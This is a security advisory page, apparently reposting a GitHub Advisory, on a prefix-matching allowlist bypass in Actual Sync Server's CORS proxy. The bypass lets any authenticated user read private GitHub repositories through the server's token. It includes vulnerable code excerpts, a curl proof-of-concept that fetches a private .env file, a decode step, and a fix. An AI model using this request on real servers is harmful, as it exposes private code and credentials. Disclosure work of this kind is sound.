OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-57449: Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token

GitHub Advisories · officialPublished Oct 7, 2026Risk 37/100

## Summary Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server's GitHub token to GitHub requests. The GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as: ```text https://api.github.com/repos/acme/plugin-private/contents/.env https://api.github.com/repos/acme/plugin-secrets/actions/secrets https://api.github.com/repos/acme/plugin-internal/releases ``` Those URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server's `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token. ## Affected Endpoint - `GET /cors-proxy?url=...` This endpoint is mounted only when: ```js if (config.get('corsProxy.enabled')) { app.use('/cors-proxy', corsApp.handlers); } ``` Source: `packages/sync-server/src/app.ts:68-70` ## Details The CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`: ```js github: { token: { doc: 'GitHub Personal Access Token for API authentication.', format: String, default: '', env: 'ACTUAL_GITHUB_TOKEN', }, }, corsProxy: { enabled: { doc: 'Enable the CORS proxy endpoint.', format: Boolean, default: false, env: 'ACTUAL_CORS_PROXY_ENABLED', }, }, ``` Source: `packages/sync-server/src/load-config.js:280-296` The proxy fetches the plugin allowlist and stores repository URLs: ```js const response = await fetch( 'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json', ); ... const plugins = await response.json(); allowlistedRepos = plugins.map(plugin => plugin.url); ``` Source: `packages/sync-server/src/app-cors-proxy.js:43-50` The GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`: ```js for (const repoUrl of allowlistedRepos) { const { pathname } = new URL(repoUrl); const [, repoOwner, repoName] = pathname.split('/'); if ( targetUrl === repoUrl || targetUrl.startsWith(repoUrl + '/') || (hostname === 'api.github.com' && url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) || ... ) { return true; } } ``` Source: `packages/sync-server/src/app-cors-proxy.js:84-99` For `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`. After this incorrect allowlist decision, the proxy attaches the server's GitHub token: ```js const githubToken = config.get('github.token'); if ( githubToken && (url.hostname === 'api.github.com' || url.hostname === 'raw.githubusercontent.com' || (url.hostname === 'github.com' && url.pathname.includes('/releases/'))) ) { requestHeaders['Authorization'] = `Bearer ${githubToken}`; requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System'; } ``` Source: `packages/sync-server/src/app-cors-proxy.js:192-201` Therefore the vulnerable flow is: 1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`. 2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`. 3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`. 4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`. 5. Any authenticated Actual user calls: ```text /cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env ``` 6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`. 7. The proxy sends the request to GitHub with the server token. 8. The response is returned to the low-privileged Actual user. ## PoC ### Preconditions 1. `ACTUAL_CORS_PROXY_ENABLED=true`. 2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo. 3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo. 4. The attacker has any valid Actual session token. Example: - Allowlisted public repo: `https://github.com/acme/plugin` - Private target repo: `https://github.com/acme/plugin-private` - Private file: `.env` ### Manual Reproduction Step 1: Request a private repo file through the Actual CORS proxy: ```bash curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \ -H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION" ``` Vulnerable result: ```json { "name": ".env", "path": ".env", "encoding": "base64", "content": "UFJPRF9EQl9QQVNTV09SRD0uLi4=" } ``` Step 2: Decode the returned `content` field: ```bash echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d ``` Example decoded output: ```text PROD_DB_PASSWORD=... ``` ### Python PoC Attached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`. The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user. ## Impact - Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist. - Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed. - If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix. - Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets. ## Recommended Remediation - Parse and compare GitHub API repository path segments exactly. - Replace: ```js url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`) ``` with an exact boundary-aware check: ```js url.pathname === `/repos/${repoOwner}/${repoName}` || url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`) ``` - Apply the same boundary discipline to every allowlist branch. - Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`. - Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.

Upgrade affected packages to a patched version: @actual-app/sync-server 26.7.0.

Vendor
Not specified
Product
@actual-app/sync-server
Exploitation
none known
Evidence
official

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source